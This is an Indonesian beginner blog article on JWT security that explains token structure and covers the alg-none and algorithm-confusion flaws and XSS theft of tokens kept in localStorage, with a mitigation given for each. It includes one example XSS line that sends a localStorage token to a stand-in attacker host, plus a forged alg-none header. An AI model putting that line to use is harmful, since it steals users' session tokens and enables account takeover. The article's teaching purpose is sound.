Beranda

Security

JWT untuk Pemula: Kenapa Token Anda Buka...

JWT untuk Pemula: Kenapa Token Anda Bukan Rahasia dan Tak Boleh Disimpan di localStorage

JWT bukan enkripsi dan bukan pengganti session — hanya format token yang ditandatangani. Pelajari kesalahan fatal seperti menerima alg none, algorithm confusion, dan menyimpan token di localStorage yang rentan XSS.

JWT untuk Pemula: Kenapa Token Anda Bukan Rahasia dan Tak Boleh Disimpan di localStorage
6 dibaca
5,0/5 (1 penilaian)

JWT (JSON Web Token) mungkin adalah salah satu istilah yang paling sering didengar developer web modern — tapi juga salah satu yang paling sering disalahpahami. Ia bukan mekanisme enkripsi, bukan pengganti session, dan tidak otomatis aman hanya karena namanya mengandung kata "token".

Setelah membahas hashing password, wajar jika langkah selanjutnya adalah memahami bagaimana identitas pengguna itu dipertahankan setelah login berhasil. Di sinilah JWT sering dipakai — dan di sinilah pula banyak kesalahan fatal terjadi.

Apa Sebenarnya JWT Itu?

JWT adalah format standar untuk membungkus data (disebut claims) ke dalam string yang bisa diverifikasi keasliannya. Strukturnya terdiri dari tiga bagian yang dipisahkan titik:

eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjEyMywicm9sZSI6ImFkbWluIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
HEADER.PAYLOAD.SIGNATURE
  1. Header — berisi info algoritma yang dipakai untuk menandatangani token, misalnya HS256 atau RS256.
  2. Payload — berisi data yang ingin disampaikan, misalnya userId, role, atau exp (waktu kedaluwarsa).
  3. Signature — tanda tangan digital yang membuktikan bahwa header dan payload tidak diubah sejak dibuat server.

Kalau Anda decode bagian header dan payload lewat situs seperti jwt.io, isinya terbaca jelas — hanya di-encode Base64, bukan dienkripsi. Ini poin krusial yang sering salah dipahami.

JWT itu ditandatangani, bukan dienkripsi. Siapa pun bisa membaca isi payload-nya. Yang tidak bisa dilakukan sembarang orang adalah mengubah isinya tanpa ketahuan, karena signature akan otomatis tidak cocok lagi jika payload diubah.

Konsekuensinya jelas: jangan pernah menaruh data sensitif — password, nomor kartu kredit, data pribadi rahasia — di dalam payload JWT. Anggap payload JWT seperti kartu nama yang ditempel di jaket seseorang: semua orang bisa membacanya, tapi tidak bisa memalsukannya tanpa merusak segelnya.

Cara Kerjanya dalam Alur Autentikasi

  1. Pengguna login dengan username dan password.
  2. Server memverifikasi kredensial, lalu membuat JWT berisi userId dan role, ditandatangani dengan secret key milik server.
  3. Token dikirim ke client, dan client menyimpannya untuk dipakai di request-request berikutnya.
  4. Setiap request ke endpoint terproteksi menyertakan token, biasanya di header:
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
  1. Server memverifikasi signature token menggunakan secret key yang sama. Jika valid dan belum kedaluwarsa, request diproses.

Keunggulan utamanya: server tidak perlu menyimpan state sesi di database atau memori (berbeda dari session tradisional berbasis cookie). Semua informasi yang dibutuhkan sudah ada di dalam token itu sendiri. Inilah kenapa JWT populer untuk arsitektur API dan microservices.

Kesalahan Fatal #1: Menerima alg: none

Spesifikasi JWT mengizinkan algoritma none — token tanpa signature sama sekali, awalnya dimaksudkan untuk kasus debugging tertentu. Beberapa library JWT versi lama secara ceroboh tetap menerima token dengan header alg: none sebagai valid, tanpa memverifikasi apa pun.

Penyerang cukup mengubah payload sesuka hati — misalnya mengganti "role": "user" menjadi "role": "admin" — lalu mengatur header menjadi:

{ "alg": "none", "typ": "JWT" }

Jika server memakai library yang rentan dan tidak eksplisit membatasi algoritma yang diterima, token palsu ini bisa lolos begitu saja.

Mitigasi: selalu tentukan secara eksplisit algoritma mana yang diterima server saat verifikasi (algorithms: ['HS256'], bukan membiarkan library menebak dari header token). Jangan pernah percaya algoritma yang diklaim oleh token itu sendiri.

Kesalahan Fatal #2: Algorithm Confusion (HS256 vs RS256)

Kesalahan lanjutan yang lebih rumit: server memakai RS256 (asimetris — public key untuk verifikasi, private key untuk menandatangani), tapi library verifikasinya salah konfigurasi sehingga menerima juga HS256 (simetris — key yang sama dipakai untuk menandatangani dan memverifikasi).

Penyerang yang tahu public key server (biasanya memang dipublikasikan) bisa membuat token palsu, menandatanganinya dengan HS256 memakai public key itu sebagai secret, dan server yang salah konfigurasi akan menganggapnya valid — karena secara teknis ia memakai public key yang sama untuk "verifikasi" HMAC.

Mitigasi: sama seperti sebelumnya — kunci mutlaknya adalah membatasi algoritma yang diterima secara eksplisit di sisi server, dan tidak pernah mencampur alur RS256 dengan HS256 dalam satu sistem verifikasi.

Kesalahan Fatal #3: Menyimpan JWT di localStorage

Ini adalah kesalahan paling umum yang ditemukan di aplikasi frontend modern. localStorage terasa praktis — mudah diakses lewat JavaScript, bertahan setelah refresh, dan tidak butuh konfigurasi cookie yang rumit.

Masalahnya: apa pun yang bisa diakses JavaScript, bisa dibaca skrip apa pun yang berhasil berjalan di halaman Anda — termasuk lewat celah XSS.

// Jika situs Anda punya celah XSS sekecil apa pun...
fetch('https://situs-penyerang.com/curi?token=' + localStorage.getItem('jwt'));

Satu celah XSS yang lolos, dan seluruh token pengguna bisa dicuri lalu dipakai penyerang untuk berpura-pura menjadi pengguna tersebut — tanpa perlu tahu password sama sekali.

Ini adalah alasan kenapa memahami XSS begitu penting sebelum membangun sistem autentikasi berbasis token: satu celah kecil di tempat lain bisa meruntuhkan seluruh lapisan keamanan JWT Anda.

Alternatif yang Lebih Aman

HttpOnly Cookie. Simpan JWT di cookie dengan flag HttpOnly, sehingga tidak bisa diakses sama sekali lewat JavaScript — termasuk oleh skrip XSS sekalipun.

Set-Cookie: token=eyJhbGci...; HttpOnly; Secure; SameSite=Strict

Perhatikan kombinasinya: HttpOnly menutup akses dari JavaScript (melawan XSS), Secure memastikan cookie hanya dikirim lewat HTTPS, dan SameSite=Strict menutup celah pengiriman otomatis lintas situs (melawan CSRF). Ketiganya saling melengkapi — mengingatkan kita bahwa pertahanan yang baik jarang berdiri sendiri.

Refresh token terpisah. Pola umum yang direkomendasikan: access token berumur pendek (5–15 menit) disimpan di memori aplikasi (bukan localStorage), sementara refresh token berumur lebih panjang disimpan di HttpOnly cookie untuk memperbarui access token secara berkala.

Praktik Tambahan yang Perlu Diingat

  • Selalu set exp (expiration). Token yang tidak pernah kedaluwarsa berarti sekali dicuri, berlaku selamanya.
  • Sediakan mekanisme revoke. Karena JWT bersifat stateless, membatalkan token sebelum kedaluwarsa itu sulit secara desain. Solusi umum: simpan daftar token yang di-blacklist, atau pakai masa berlaku pendek dikombinasikan refresh token.
  • Jangan taruh data sensitif di payload, meski "cuma" untuk internal — payload selalu bisa dibaca siapa pun yang memegang tokennya.
  • Validasi iss dan aud (issuer dan audience) jika token dipakai lintas layanan, untuk memastikan token benar-benar ditujukan untuk layanan Anda.

Penutup

JWT bukan solusi ajaib yang otomatis membuat autentikasi aman — ia hanyalah format. Keamanannya sepenuhnya bergantung pada bagaimana Anda mengimplementasikannya: algoritma mana yang diterima, di mana token disimpan, dan seberapa disiplin Anda menangani masa berlakunya.

Kalau Anda mengingat satu hal saja dari artikel ini: JWT itu ditandatangani, bukan rahasia, dan tempat teraman untuk menyimpannya di browser adalah HttpOnly cookie — bukan localStorage yang terlihat praktis tapi terbuka lebar bagi XSS.

Post Terkait

Password Hashing untuk Pemula: Kenapa MD5 Berbahaya dan Bcrypt/Argon2 Jadi Standar

MD5 dan SHA-1 memang fungsi hash, tapi keduanya dirancang untuk kecepatan — justru sifat yang membuat password mudah dib...

20 Agt 2026

Apa yang Perlu Diperiksa Sebelum Naik ke Produksi: Checklist Lengkap Go Live

Naik ke produksi seharusnya pos pemeriksaan, bukan sekadar satu klik. Checklist lengkap ini merangkum apa yang perlu dip...

20 Agt 2026

Mengapa Source Code Mentah Sebaiknya Tidak Langsung Diunggah ke Server

Menyeret seluruh folder proyek ke server lewat FTP memang cepat, tapi berisiko: file .env bocor, folder .git terekspos,...

20 Agt 2026

© 2026 Yowisben. Semua hak dilindungi.

Powered by LONTAR CMS v1.67.6